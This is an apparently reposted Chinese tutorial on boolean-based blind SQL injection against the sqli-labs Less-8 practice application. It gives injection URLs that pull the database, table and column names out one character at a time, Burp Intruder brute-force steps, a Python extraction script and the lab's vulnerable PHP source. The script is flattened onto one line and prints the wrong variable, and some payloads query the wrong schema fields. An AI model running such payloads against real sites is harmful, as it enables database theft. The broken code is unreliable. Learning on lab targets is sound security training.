SQL注入之布尔盲注——sql-lab第八关
布爾盲注簡介
什么是盲注
盲注其實是sql注入的一種,之所以稱為盲注是因為他不會根據你sql注入的攻擊語句返回你想要知道的錯誤信息。
【之前在做聯合注入第一關的時候,用union select語句注入,想要查詢的信息是回顯在Your password和 Your Login name后面,如下圖。但是盲注不會回顯讓你直白的看出信息的(但是可能會有一些間接的回顯信息),所以只能通過另外一種方式去獲取我們的信息】
布爾盲注一般適用于頁面沒有回顯字段(不支持聯合查詢),且web頁面返回True 或者 false,構造SQL語句,利用and,or等關鍵字來其后的語句 true 、 false使web頁面返回true或者false,從而達到注入的目的來獲取信息
盲注分為兩類:
1、布爾盲注——》 布爾很明顯Ture跟Fales,也就是說它只會根據你的注入信息返回Ture跟Fales,也就沒有了之前的報錯信息。
2、時間盲注——》 界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
需要用到的函數:
Length()函數 返回字符串的長度
Substr()截取字符串
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
什么是布爾盲注
布爾盲注思路分析
不管是什么盲注,思想都是一樣的——》爆破思想,也就是一個一個去嘗試獲得我們想要的數據
“盲”、“爆破思想”
布爾盲注的過程
1、找到注入點以及適合的注入語句(有些可能被過濾)
根據回顯的不同來形成布爾盲注的判斷條件
2、選擇合適的字典,進行爆破(一般會選擇26個字母+數字的組合)
可以使用burp suite自帶的腳本(intruder),我們只需要提供字典來爆破
也可以自己寫一個Python腳本來爆破出結果,利用Python的requests庫
這里以sql-lab第八關為例
輸入id=1看看:
step1、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
http://127.0.0.1/sqli/Less-8/?id=1’《——加個單引號沒有回顯
http://127.0.0.1/sqli/Less-8/?id=1’- -+《——用注釋符注釋的時發現有Your are in…這個回顯
基本可以判斷是字符型
輸入http://127.0.0.1/sqli/Less-8/?id=1’ and 1- -+ ——》會返回you are in…
輸入http://127.0.0.1/sqli/Less-8/?id=1’ and 0- -+——》會發現沒有回顯
輸入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=112)- -+——》如下圖,無回顯
所以這個數據庫名的第一個字符并不是112所對應的字符
當輸入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=115)- -+——》115對應的字符是s
(因為做sql-lab1的時候知道數據庫是security,第一個字符是s),而盲注是不知道是115的——》這時候可以利用burpsuite(可以從48(0)開始跑到122(z),就是從0開始一直到z的ascii,全部跑一遍)
理解: (ascii(substr((select database()),1,1))=112)這個整體是一個表達式,它會返回1或者0,返回1的時候會有回顯(就是會出現you are in xxx),當這個表達式不正確的時候,就會出現空白,沒有回顯
演示用burp工具進行爆破:
爆破數據庫名
設置代理:
注意:使用burp抓包的時候url一定要填寫自己本機的ip,不要填寫127.0.0.1,否則抓不了包
ipconfig查看后,可知ip為192.168.3.10
輸入http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=48)- -+
send to intruder
先clear $,因為要爆破的是48這個值——》給48加上 $ ——》$ 48 $,攻擊方式用sniper
再用payloads選擇字典
點擊start attack爆破
點擊Response——》Render渲染頁面:you are in 出現——》數據庫名第一個字符ASCII為115
同理
爆破表名
http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(table_name) from information_schema.tables where schema_name=‘security’),1,1))=48)- -+
一 一爆破
爆破列名
http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘xxxx’),1,1))=48)- -+
一 一爆破
上面演示的是使用工具盲注,當然也可以自己去寫一個盲注的腳本(用python寫會比較輕松)
編寫python腳本爆破
import requests url="http://192.168.3.10/sqli/Less-8" payload1="?id=1' and (length(database()))={} --+" #爆破 數據庫長度 payload2="?id=1' and (ascii(substr((select database()),{},1))={})--+" #爆破數據庫名 payload3="?id=1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='xxx'),1,1))={})--+"#爆破表名 payload4="?id=1' and (ascii(substr((select group_concat(column_name) from information_schema.tables where table_name='xxx'),1,1))={})--+"#爆破字段名 payload5="?id=1' and (ascii(substr((select group_concat(xxx) from xxx))={})--+"#爆破字段名對應的值 r=requests.session()#開啟一個會話for i in range(100):payload=payload1.format(str(i))print(url+payload)res=r.get(url+payload)if 'You are in' in res.text:print("位數為:%s"%i)breakfor i in range(1,100):for j in range(48,123):payload=payload2.format(str(i),str(j))res=r.get(url+payload)print(url+payload)if 'You are in' in res.text:char=chr(i)print(i,char)breaksql-lab第八關布爾盲注代碼index.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-8 Blind- Boolian- Single Quotes- String</title> </head><body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"><?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';//echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; } }else { echo "Please input the ID as parameter with numeric value";}?></font> </div></br></br></br><center> <img src="../images/Less-8.jpg" /></center> </body> </html>發現一篇寫的挺好的博客:https://blog.csdn.net/weixin_45146120/article/details/100104131?utm_source=app
總結
以上是生活随笔為你收集整理的SQL注入之布尔盲注——sql-lab第八关的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle中的nls在哪,Oracle
- 下一篇: linux cmake编译源码,linu